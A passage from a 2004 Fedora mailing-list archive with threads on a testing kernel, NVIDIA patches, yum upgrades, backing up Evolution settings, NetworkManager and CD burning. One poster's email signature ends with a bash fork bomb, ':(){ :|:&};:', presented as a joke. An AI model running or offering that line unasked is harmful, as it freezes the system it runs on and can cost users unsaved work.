[--depmod] [--rmmoddep] > [--kernel-args=] [--banner=] > [--make-default] <--install | --remove> > (ex: new-kernel-pkg --mkinitrd --depmod --install 2.4.7-2) This is because of the `--package kernel' flag passed to new-kernel-pkg from the %postinstall script. It's not supported by the FC2 new-kernel-pkg. We have to either tweak the %postinstall script or release a kernel-utils update. Meanwhile, I suppose running this after the install will make it work: /sbin/new-kernel-pkg --mkinitrd --depmod --install 2.6.9-1.1_FC2 -- Alexandre Oliva http://www.ic.unicamp.br/~oliva/ Red Hat Compiler Engineer aoliva@{redhat.com, gcc.gnu.org} Free Software Evangelist oliva@{lsd.ic.unicamp.br, gnu.org} From davej at redhat.com Wed Nov 3 21:29:17 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 3 Nov 2004 16:29:17 -0500 Subject: New testing kernel. In-Reply-To: References: <20041103171954.GC31914@redhat.com> <1099505721.30107.4.camel@ws.1sttier.net> Message-ID: <20041103212917.GF31914@redhat.com> On Wed, Nov 03, 2004 at 07:14:04PM -0200, Alexandre Oliva wrote: > On Nov 3, 2004, Nathan Grennan wrote: > > > Usage: new-kernel-pkg [-v] [--mkinitrd] [--rminitrd] > > [--initrdfile=] [--depmod] [--rmmoddep] > > [--kernel-args=] [--banner=] > > [--make-default] <--install | --remove> > > (ex: new-kernel-pkg --mkinitrd --depmod --install 2.4.7-2) > > This is because of the `--package kernel' flag passed to > new-kernel-pkg from the %postinstall script. It's not supported by > the FC2 new-kernel-pkg. We have to either tweak the %postinstall > script or release a kernel-utils update. > > Meanwhile, I suppose running this after the install will make it work: > > /sbin/new-kernel-pkg --mkinitrd --depmod --install 2.6.9-1.1_FC2 Yup. A few folks noticed that and told me (its also in bugzilla). I just built a 2.6.9-1.2_FC2 with just that bit backed out. Dave From pvinson at fit.edu Wed Nov 3 21:46:53 2004 From: pvinson at fit.edu (Patrick Ryan Vinson) Date: Wed, 03 Nov 2004 16:46:53 -0500 Subject: New testing kernel. In-Reply-To: <41891C59.6000108@redhat.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> <41891C59.6000108@redhat.com> Message-ID: <1099518413.3659.4.camel@mine.nu> Yeah, all I did was add: unsigned int __VMALLOC_RESERVE = 128 << 20; right after: #ifdef MODULE_ALIAS_CHARDEV_MAJOR MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); #endif in the nv.c file and ran the installer. Worked perfectly fine after that. Of course, I still see a "NVidia license 'taints' kernel". Heh, funny enough though the first time I saw that warning I could have sworn I saw it say 'taunts' rather than 'taints'. Gave me a good laugh until I realized what it really read. On Wed, 2004-11-03 at 18:58 +0100, Harald Hoyer wrote: > Ken Snider wrote: > > Dave Jones wrote: > > > >> As the more astute will have noticed, yesterday I > >> dropped a 2.6.9 based kernel in updates-testing. > > > > > > Is there a known fix for this era of kernel and the NVIDIA driver > > (specifically __VMALLOC_RESERVE)? > > > > ask nvidia From trulsg at broadpark.no Wed Nov 3 21:56:12 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 03 Nov 2004 22:56:12 +0100 Subject: yum upgrade? In-Reply-To: <1099510153.4065.9.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> Message-ID: <418953FC.2050104@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 seth vidal wrote: | On Wed, 2004-11-03 at 19:50 +0100, Truls Gulbrandsen wrote: | |> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 |> |> Hi, I am planning to upgrade my laptop (TP23) from fc2 to fc3. |> Since I don't have /home as seperate partition I was thinking of |> doing av yum upgrade rather than a clean install. What are the |> pros and cons for this procedure? Would an upgrade from a cd |> better or different? Would it work to repartition and copy the |> /home-files to a new /home partition? Also, I have a W3k dual |> boot configuration. |> |> That was a lot, I realise, but thanks in advance. |> | | To upgrade via yum the short version goes like this: | | 1. backup all your data 2. upgrade yum to yum from fc3 3. upgrade | fedora-release to fedora-release from fc3 4. make sure all your | repositories point where you think they should point. 5. run yum | list updates - just to make sure things seem sane and working 6. | make sure you are NOT in X and X is not loaded 6. from a terminal | prompt run: yum upgrade 7. wait wait wait 8. you must reboot before | using your system again 9. reboot the system and make sure you | select the new kernel, not the old one(s) 10. once your system is | fully booted you may want to install some additional items. | Recommended: yum groupupdate "GNOME Desktop Environment" | | | let me know what problems you encounter. | | -sv | | And, please, where do I find the fc3t3 repository. I will test this on a PC I have in spare. Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBiVP7ickK29LSyG8RAooMAKCltY+ybQ6miXLDY2KyLtmE1NjvZACePGOB I2RFJBlFCKmVSSchz1ZCTAo= =IEi+ -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From fedora at wir-sind-cool.org Wed Nov 3 22:25:26 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 3 Nov 2004 23:25:26 +0100 Subject: scrollbar corruption In-Reply-To: <20041103153817.4297c455.fedora@wir-sind-cool.org> References: <20041103153728.0363acb2.fedora@wir-sind-cool.org> <20041103153817.4297c455.fedora@wir-sind-cool.org> Message-ID: <20041103232526.76d86ca8.fedora@wir-sind-cool.org> On Wed, 3 Nov 2004 15:38:17 +0100, Michael Schwendt wrote: > > KDE with FC3 RC5 > > > > Attached image shows what I see in e.g. Firefox, Mozilla, gqview. The > > bottom line of the draggable area of a vertical scrollbar is corrupted > > and filled with garbage when I move the mouse over it. The garbage > > varies with time, almost like a structure in memory is copied. It's > > fully reproducible. > > and here's the attachment :/ gtk-qt-engine-0.50-0.fdr.1 from fedora.us QA queue to blame, which was still installed and enable and messed up the Bluecurve icon theme, too. -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 1.14 1.15 1.15 From dmalcolm at redhat.com Wed Nov 3 22:32:23 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Wed, 03 Nov 2004 17:32:23 -0500 Subject: Evolution weirdness In-Reply-To: <1099501915.3866.51.camel@thomas.camerontech.com> References: <1099501915.3866.51.camel@thomas.camerontech.com> Message-ID: <1099521144.3920.6.camel@cassandra.boston.redhat.com> On Wed, 2004-11-03 at 11:11 -0600, Thomas Cameron wrote: > All - > > Using FC3 RC5 (installed from the iso images at > http://testing.fedora.redhat.com/tree/i386/iso/). My machine is a dual > Xeon 1GHz with a gig of memory and Ultra160 disks - relatively snappy > machine. My mail server is on my local network here at home. I am > running evolution-2.0.2-3. I get my mail via IMAP. > > I notice that often when I open a message Evolution takes several > seconds (sometimes as many as 10-15) to display it. I also notice that > the mail server hard drive light stays lit during this delay. It seems > like somehow Evolution is re-indexing the folder or something for every > message opened. The more messages in the IMAP folder, the longer the > delay. > > I don't recall this behavior in older versions of Evolution (1.4 or 2). > > Any ideas how to make this stop? Can you try running evolution with CAMEL_VERBOSE_DEBUG=1 (which should make it output the full IMAP conversation it has with the server) - this should give more clues as to what's going on. Thanks > -- > A: Because people read from top to bottom > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > From rpaiz at simpaticus.com Wed Nov 3 22:44:46 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Wed, 03 Nov 2004 16:44:46 -0600 Subject: Backing up Evolution Message-ID: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> Hey, all, Is there a clean and simple way to back up Evolution settings? Everything from files and folders to account settings and passwords. This is the one thing that gets very messy when I have to reinstall my system (for RC5, for example), and it's going to happen again on FC3 release. If I could just back up/restore this one app cleanly, everything else falls into place easily. Is there any such application (or even set of instructions)? Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... 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Guy Thomas wrote: > On Tue, 2004-11-02 at 10:51 -0500, David Malcolm wrote: > > On Sun, 2004-10-31 at 18:14 -0600, W. Guy Thomas wrote: > > > > > > > > > > > > > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > > > The two things that pop up every 5 seconds are gkrellm itself, and > > > > something vaguely named gtk2_applet2. > > > > > > > > So what is gtk2_applet2? > > > > If it's an applet couldn't it be a java-something? > > > > > > > > Hmm, curiouser and curiouser. > > > > > > > > -- > > > > =Guy > > > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > > > > > > > let me revise that, sorry, it's gtik2_applet2 > > > > That's the Stock Ticker panel applet. Is it running? What kind of > > settings does it have e.g. width, update frequency, number of stocks, > > etc? > > > > > > > > -- > > > =Guy > > > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 > > > > > > > Interesting. It sure is the stock ticker. It was set to slow speed, > there are 6 stocks, update every 11 minutes, nothing else special. > I even removed it from the panel and I see the same 5 second tick. > It's especially noticeable in screensaver mode. The entire screen stops > for a split second, then picks back up. > > Good call on the stock ticker, unfortunately it appears not to be the > culprit. OK - so it looks like gtik2_applet2 was a false positive. I take it that it's no longer is the process list after removing from the panel? So I wonder, what is the culprit? Running top with a rapid update time may get it to show up; there's sure to be a better way, though I can't think of one off-hand, alas. Sounds like someone else is seeing this; Googling turned up this http://www.fedoraforum.org/forum/archive/index.php/t-25209.html Dave > > -- > =Guy > 17:34:25 up 21:11, 2 users, load average: 0.43, 1.07, 1.61 > From thomas.cameron at camerontech.com Wed Nov 3 23:15:01 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Wed, 03 Nov 2004 17:15:01 -0600 Subject: Backing up Evolution In-Reply-To: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> Message-ID: <1099523701.3323.62.camel@thomas.camerontech.com> On Wed, 2004-11-03 at 16:44 -0600, Rodolfo J. Paiz wrote: > Hey, all, > > Is there a clean and simple way to back up Evolution settings? > Everything from files and folders to account settings and passwords. > This is the one thing that gets very messy when I have to reinstall my > system (for RC5, for example), and it's going to happen again on FC3 > release. > > If I could just back up/restore this one app cleanly, everything else > falls into place easily. Is there any such application (or even set of > instructions)? tar zcvf evol-back.tar.gz ~/.evolution -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From lux at diesel-research.com Wed Nov 3 23:17:44 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 16:17:44 -0700 Subject: Backing up Evolution In-Reply-To: <1099523701.3323.62.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> Message-ID: <1099523864.3903.2.camel@localhost.localdomain> I did that on my last reinstall, but it doesn't back up everything. It didn't save my account settings. All the emails came across just fine. On Wed, 2004-11-03 at 17:15 -0600, Thomas Cameron wrote: > On Wed, 2004-11-03 at 16:44 -0600, Rodolfo J. Paiz wrote: > > Hey, all, > > > > Is there a clean and simple way to back up Evolution settings? > > Everything from files and folders to account settings and passwords. > > This is the one thing that gets very messy when I have to reinstall my > > system (for RC5, for example), and it's going to happen again on FC3 > > release. > > > > If I could just back up/restore this one app cleanly, everything else > > falls into place easily. Is there any such application (or even set of > > instructions)? > > tar zcvf evol-back.tar.gz ~/.evolution > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > -- Kim Lux (Mr.) Diesel Research Inc From cochranb at speakeasy.net Wed Nov 3 23:21:39 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Wed, 03 Nov 2004 18:21:39 -0500 Subject: Backing up Evolution In-Reply-To: <1099523701.3323.62.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> Message-ID: <41896803.7050104@speakeasy.net> Thomas Cameron wrote: >On Wed, 2004-11-03 at 16:44 -0600, Rodolfo J. Paiz wrote: > > >>Hey, all, >> >>Is there a clean and simple way to back up Evolution settings? >>Everything from files and folders to account settings and passwords. >>This is the one thing that gets very messy when I have to reinstall my >>system (for RC5, for example), and it's going to happen again on FC3 >>release. >> >>If I could just back up/restore this one app cleanly, everything else >>falls into place easily. Is there any such application (or even set of >>instructions)? >> >> > >tar zcvf evol-back.tar.gz ~/.evolution > > The same idea works great for Mozilla Mail too. Tar up the important stuff, scp it to another machine, install the newest Fedora release, scp the tarball back, untar, and you are ready to roll. Thanks to the person on this list who suggested it to me. Bob From ad+lists at uni-x.org Wed Nov 3 23:24:10 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 04 Nov 2004 00:24:10 +0100 Subject: Backing up Evolution In-Reply-To: <1099523701.3323.62.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> Message-ID: <1099524249.589.159.camel@serendipity.dogma.lan> Am Do, den 04.11.2004 schrieb Thomas Cameron um 0:15: > > Is there a clean and simple way to back up Evolution settings? > > Everything from files and folders to account settings and passwords. > > This is the one thing that gets very messy when I have to reinstall my > > system (for RC5, for example), and it's going to happen again on FC3 > > release. > tar zcvf evol-back.tar.gz ~/.evolution The passwords are stored in ~/.gnome2_private/Evolution Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 00:23:24 up 14 days, 22:02, load average: 1.37, 1.35, 0.85 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From dmalcolm at redhat.com Wed Nov 3 23:27:43 2004 From: dmalcolm at redhat.com (David Malcolm) Date: Wed, 03 Nov 2004 18:27:43 -0500 Subject: Backing up Evolution In-Reply-To: <1099523701.3323.62.camel@thomas.camerontech.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> Message-ID: <1099524463.3920.22.camel@cassandra.boston.redhat.com> On Wed, 2004-11-03 at 17:15 -0600, Thomas Cameron wrote: > On Wed, 2004-11-03 at 16:44 -0600, Rodolfo J. Paiz wrote: > > Hey, all, > > > > Is there a clean and simple way to back up Evolution settings? > > Everything from files and folders to account settings and passwords. > > This is the one thing that gets very messy when I have to reinstall my > > system (for RC5, for example), and it's going to happen again on FC3 > > release. > > > > If I could just back up/restore this one app cleanly, everything else > > falls into place easily. Is there any such application (or even set of > > instructions)? > > tar zcvf evol-back.tar.gz ~/.evolution You should also save the relevant GConf settings, below /apps/evolution gconftool-2 --dump /apps/evolution > some_file.xml (this is where your account data and preferences are stored) > -- > A: Because people read from top to bottom. > Q: Why is top-posting bad? > > Thomas Cameron, RHCE, CNE, MCSE, MCT > From lux at diesel-research.com Wed Nov 3 23:28:37 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 16:28:37 -0700 Subject: Backing up Evolution In-Reply-To: <1099524249.589.159.camel@serendipity.dogma.lan> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524249.589.159.camel@serendipity.dogma.lan> Message-ID: <1099524517.3903.6.camel@localhost.localdomain> On Thu, 2004-11-04 at 00:24 +0100, Alexander Dalloz wrote: > The passwords are stored in ~/.gnome2_private/Evolution > > Alexander Ahhh........ This is good to know. Thanks -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 3 23:31:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 16:31:27 -0700 Subject: Where are the Konqueror address drop downs stored ? Message-ID: <1099524687.3903.10.camel@localhost.localdomain> I use Konqueror and for the most part I really like it. One thing I hate is that my address drop down list gets messed up with in correct addresses I type in, etc. For example, if I type in www.gogle.com, it seems to stay in there for about 2 months. During that time I usually accidentally activate it 3 times, further extending its life. Where are these things stored and is there an easy way to remove them ? -- Kim Lux (Mr.) Diesel Research Inc From paul at thespps.org Thu Nov 4 01:14:09 2004 From: paul at thespps.org (Paul) Date: Wed, 03 Nov 2004 18:14:09 -0700 Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <1099505039.16932.15.camel@localhost.localdomain> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> <1099505039.16932.15.camel@localhost.localdomain> Message-ID: <1099530849.3333.4.camel@localhost.localdomain> On Wed, 2004-11-03 at 11:03 -0700, Kim Lux wrote: > Try ndiswrapper. A bunch of us are using it problem free on the > ZD7000s. Our wireless light even lights up. Thank you so much for pointing this out. I now have my wifi working! -Paul From lux at diesel-research.com Thu Nov 4 01:43:28 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 18:43:28 -0700 Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <1099530849.3333.4.camel@localhost.localdomain> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> <1099505039.16932.15.camel@localhost.localdomain> <1099530849.3333.4.camel@localhost.localdomain> Message-ID: <1099532608.4138.9.camel@localhost.localdomain> I can't begin to count how many times people have helped me with stuff. It is the least I can do to return some of the favors I've gotten. Now it is your turn to help someone. On Wed, 2004-11-03 at 18:14 -0700, Paul wrote: > On Wed, 2004-11-03 at 11:03 -0700, Kim Lux wrote: > > > Try ndiswrapper. A bunch of us are using it problem free on the > > ZD7000s. Our wireless light even lights up. > > Thank you so much for pointing this out. I now have my wifi working! > > -Paul > > > > > -- Kim Lux (Mr.) Diesel Research Inc From mrguytx at austin.rr.com Thu Nov 4 02:13:01 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Wed, 03 Nov 2004 20:13:01 -0600 Subject: Problem with Kernel 667? In-Reply-To: <1099510166.17246.10.camel@localhost.localdomain> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <1099510166.17246.10.camel@localhost.localdomain> Message-ID: <1099534381.4204.0.camel@guyleidadell> On Wed, 2004-11-03 at 12:29 -0700, Kim Lux wrote: > I don't know if if is well documented, but I think /dev/cdrom is an > outdated mount point. I think things are being mounted under /media > these days. I'll bet the cdrom driver in the kernel is mounting the > cdrom under /media. > > You might have to delete some automount and fstab entries to get things > working again. > > > > PHONE: 703-484-1316 > > DOMAIN: nbc at cisco.com > > ************************************************************* > > * Murphy's Philosophy: Smile - tomorrow will be worse... * > > * * > > * O'Tooles Commentary: Murphy was an optimist! * > > ************************************************************* > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > mine for instance is /media/cdrecorder -- =Guy 20:12:32 up 53 min, 2 users, load average: 0.23, 0.37, 0.22 From lux at diesel-research.com Thu Nov 4 02:45:57 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 19:45:57 -0700 Subject: kernel, K3b: poor CDROM burning from usb_storage device Message-ID: <1099536357.4830.7.camel@localhost.localdomain> Try as I might, I can't get k3b to burn data that resides on a USB storage device on the fly. (ie a USB connected IDE hard drive) I attain read speeds of 25MB/sec with this device when copying files from the USB storage device. The CPU overhead associated with such copies is about 3% on my machine. Also K3B is exhibiting poor burning performance even when burning from an image on the internal hard drive. The CDROMs are rated at 16x burning. I could only burn them at 8x without experiencing a buffer underflow. I burnt the same CDROMs at 16 or 24x last week with a different kernel. I'm running 2.6.9-1.649 smp today. -- Kim Lux (Mr.) Diesel Research Inc From janina at rednote.net Thu Nov 4 02:57:34 2004 From: janina at rednote.net (Janina Sajka) Date: Wed, 3 Nov 2004 21:57:34 -0500 Subject: vsftpd and recent kernels including 667 Message-ID: <20041104025734.GA4276@rednote.net> Just wondering whether others are still experiencing a broken vsftpd? I don't recall exactly when it stopped working, but it was a few kernels back. I'm running x86_64, in case that matters. Janina From vR at movingparts.net Thu Nov 4 02:27:46 2004 From: vR at movingparts.net (Jason 'vanRijn' Kasper) Date: Wed, 03 Nov 2004 21:27:46 -0500 Subject: NetworkManager Issues In-Reply-To: <1099494121.9969.13.camel@dcbw.boston.redhat.com> References: <77e74f3e04110207476002a81c@mail.gmail.com> <1099447511.5027.7.camel@localhost> <77e74f3e041102184647cc916a@mail.gmail.com> <1099460573.4958.12.camel@localhost> <1099494121.9969.13.camel@dcbw.boston.redhat.com> Message-ID: <1099535266.394.11.camel@localhost> On Wed, 2004-11-03 at 10:02 -0500, Dan Williams wrote: > On Wed, 2004-11-03 at 00:42 -0500, Jason 'vanRijn' Kasper wrote: > > - NetworkManager has to have the mode set to "Managed" > > in /etc/sysconfig/network-scripts/ifcfg-eth1, from what I saw. This > > conflicts with FC's insistence on making the mode "Auto" so that I can > > change the channel to 6 and the rate to Auto > > (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133500). > > NM always sets the mode to Managed/Infrastructure. You should not be > able to change the channel on the card, since when you put the card into > Infrastructure mode, it will _automatically_ switch to the channel of > the ESSID you set on the card. There is no need to manually set the > channel and rate unless: > > 1) your AP is broken > 2) your card/firmware is broken > 3) you're using Ad-Hoc mode, in which case you aren't using NM > > What do you need to explicitly set the channel for? hmmmmm. Well, as it turns out, it's not the channel that I have to set to get things to work nicely in fedora's Network Configuration GUI. It's the rate. If I don't change the rate from the default "11M" to "Auto", then my card (a Symbol LA4111 Spectrum24 Wireless LAN PC Card) can't associate/get an IP address. As for the above... 1) I'm using a Linksys WRT54GS AP 2) I wouldn't argue this. =:) It's a pretty obscure card that uses orinoco_cs. 3) I don't think I'm doing this. Like I said, using fedora's network configurator works so long as I change the rate from "11M" to "auto" and use either Managed or Auto mode. > > > - unless I log into gnome as root, NetworkManagerInfo hard-locks-up my > > laptop. No, I cannot give a stack trace or anything useful to debug > > this. Specifically, what happens is I start NetworkManagerInfo, click > > on its menu, choose the SID of my network, and then sometimes > > immediately and sometimes after the error dialog box comes up to say > > "can't connect to this network" (it does NOT ask me for a WEP key if I'm > > not root), my laptop freezes hard. Mouse doesn't respond, kernel > > doesn't respond, etc., etc. > > Previously there were issues wtih the IPv6 stack and wireless drivers in > the _kernel_ (#rh135432# in bugzilla), these may be fixed. They caused > a hard-lock of machine where a panic would print to the console, but of > course you couldn't see it because you were in X. hrmmmmmm. That's interesting. I have ipv6 turned off on both of my network connections and yet lsmod still shows this... ipv6 232577 27 I'll add the below to /etc/modprobe.conf and reboot and retry this.... alias net-pf-10 off alias ipv6 off Also, in other news, I created a bugzilla for the issues I listed in this e-mail, not realizing you had replied already to them. =:/ Sorry about that. I guess if the above fixes my issue, then the only one I have left is NM not remembering the WEP key. Don't suppose that one is fixed already? =:D Thanks for your work on NM, Dan, and for the answers to my questions. =:) -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From gene.heskett at verizon.net Thu Nov 4 03:14:08 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Wed, 3 Nov 2004 22:14:08 -0500 Subject: kernel, K3b: poor CDROM burning from usb_storage device In-Reply-To: <1099536357.4830.7.camel@localhost.localdomain> References: <1099536357.4830.7.camel@localhost.localdomain> Message-ID: <200411032214.08464.gene.heskett@verizon.net> On Wednesday 03 November 2004 21:45, Kim Lux wrote: >Try as I might, I can't get k3b to burn data that resides on a USB >storage device on the fly. (ie a USB connected IDE hard drive) > >I attain read speeds of 25MB/sec with this device when copying files >from the USB storage device. The CPU overhead associated with such >copies is about 3% on my machine. > >Also K3B is exhibiting poor burning performance even when burning > from an image on the internal hard drive. The CDROMs are rated at > 16x burning. I could only burn them at 8x without experiencing a > buffer underflow. > >I burnt the same CDROMs at 16 or 24x last week with a different >kernel. > >I'm running 2.6.9-1.649 smp today. >From the description, it sure sounds like the DMA for the cdwriter got turned off somehow. What does hdparm say? > >-- >Kim Lux (Mr.) Diesel Research Inc -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From thomas.cameron at camerontech.com Thu Nov 4 04:10:48 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Wed, 03 Nov 2004 22:10:48 -0600 Subject: Backing up Evolution In-Reply-To: <1099524463.3920.22.camel@cassandra.boston.redhat.com> References: <1099521886.3334.4.camel@rodolfo.gt.factorrent.com> <1099523701.3323.62.camel@thomas.camerontech.com> <1099524463.3920.22.camel@cassandra.boston.redhat.com> Message-ID: <1099541448.4506.21.camel@thomas.camerontech.com> On Wed, 2004-11-03 at 18:27 -0500, David Malcolm wrote: > > You should also save the relevant GConf settings, below /apps/evolution > > gconftool-2 --dump /apps/evolution > some_file.xml > > (this is where your account data and preferences are stored) I was not aware of this - very cool info, thanks. -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From thomas.cameron at camerontech.com Thu Nov 4 04:14:05 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Wed, 03 Nov 2004 22:14:05 -0600 Subject: vsftpd and recent kernels including 667 In-Reply-To: <20041104025734.GA4276@rednote.net> References: <20041104025734.GA4276@rednote.net> Message-ID: <1099541645.4506.24.camel@thomas.camerontech.com> On Wed, 2004-11-03 at 21:57 -0500, Janina Sajka wrote: > Just wondering whether others are still experiencing a broken vsftpd? > > I don't recall exactly when it stopped working, but it was a few kernels > back. I'm running x86_64, in case that matters. > > Janina Hi Janina - Can you define "broken?" Mine works fine on FC3 RC5. vsftpd-2.0.1-5 and kernel-smp-2.6.9-1.667. Are there any log entries or error messages you can post? -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From mrguytx at austin.rr.com Thu Nov 4 04:32:39 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Wed, 03 Nov 2004 22:32:39 -0600 Subject: 5 second cpu spike in FC3T3 In-Reply-To: <1099523012.3920.15.camel@cassandra.boston.redhat.com> References: <1099184393.3693.50.camel@guyleidadell> <200410302035.33258.linxt@comcast.net> <1099194319.3693.78.camel@guyleidadell> <41846432.4040200@speakeasy.net> <1099195701.3693.80.camel@guyleidadell> <1099254808.4746.2.camel@kyrre> <1099252271.3558.1.camel@guyleidadell> <1099261509.3558.10.camel@guyleidadell> <1099268086.3558.12.camel@guyleidadell> <1099410683.26625.10.camel@cassandra.boston.redhat.com> <1099438599.4142.9.camel@guyleidadell> <1099523012.3920.15.camel@cassandra.boston.redhat.com> Message-ID: <1099542759.4204.3.camel@guyleidadell> On Wed, 2004-11-03 at 18:03 -0500, David Malcolm wrote: > On Tue, 2004-11-02 at 17:36 -0600, W. Guy Thomas wrote: > > On Tue, 2004-11-02 at 10:51 -0500, David Malcolm wrote: > > > On Sun, 2004-10-31 at 18:14 -0600, W. Guy Thomas wrote: > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Interesting. I changed it with "s", to .5 seconds. > > > > > The two things that pop up every 5 seconds are gkrellm itself, and > > > > > something vaguely named gtk2_applet2. > > > > > > > > > > So what is gtk2_applet2? > > > > > If it's an applet couldn't it be a java-something? > > > > > > > > > > Hmm, curiouser and curiouser. > > > > > > > > > > -- > > > > > =Guy > > > > > 16:23:31 up 7:01, 2 users, load average: 1.01, 0.49, 0.88 > > > > > > > > > > > > > let me revise that, sorry, it's gtik2_applet2 > > > > > > That's the Stock Ticker panel applet. Is it running? What kind of > > > settings does it have e.g. width, update frequency, number of stocks, > > > etc? > > > > > > > > > > > -- > > > > =Guy > > > > 18:14:14 up 8:52, 2 users, load average: 0.40, 0.27, 0.26 > > > > > > > > > > > Interesting. It sure is the stock ticker. It was set to slow speed, > > there are 6 stocks, update every 11 minutes, nothing else special. > > I even removed it from the panel and I see the same 5 second tick. > > It's especially noticeable in screensaver mode. The entire screen stops > > for a split second, then picks back up. > > > > Good call on the stock ticker, unfortunately it appears not to be the > > culprit. > > OK - so it looks like gtik2_applet2 was a false positive. I take it > that it's no longer is the process list after removing from the panel? > > So I wonder, what is the culprit? Running top with a rapid update time > may get it to show up; there's sure to be a better way, though I can't > think of one off-hand, alas. > > Sounds like someone else is seeing this; Googling turned up this > http://www.fedoraforum.org/forum/archive/index.php/t-25209.html > > Dave > > > > -- > > =Guy > > 17:34:25 up 21:11, 2 users, load average: 0.43, 1.07, 1.61 > > > what is ksoftirqd/0 this shows up at about # five when I lower top to .5 seconds sounds like a kde thing, but I run gnome. weird. let me check that link you sent... -- =Guy 22:31:51 up 3:13, 2 users, load average: 0.27, 0.34, 0.25 From cochranb at speakeasy.net Thu Nov 4 04:42:26 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Wed, 03 Nov 2004 23:42:26 -0500 Subject: vsftpd and recent kernels including 667 In-Reply-To: <1099541645.4506.24.camel@thomas.camerontech.com> References: <20041104025734.GA4276@rednote.net> <1099541645.4506.24.camel@thomas.camerontech.com> Message-ID: <4189B332.3080809@speakeasy.net> Thomas Cameron wrote: >On Wed, 2004-11-03 at 21:57 -0500, Janina Sajka wrote: > > >>Just wondering whether others are still experiencing a broken vsftpd? >> >>I don't recall exactly when it stopped working, but it was a few kernels >>back. I'm running x86_64, in case that matters. >> >> Janina >> >> > >Hi Janina - > >Can you define "broken?" Mine works fine on FC3 RC5. vsftpd-2.0.1-5 >and kernel-smp-2.6.9-1.667. > >Are there any log entries or error messages you can post? > > Where are you getting the kernel from? 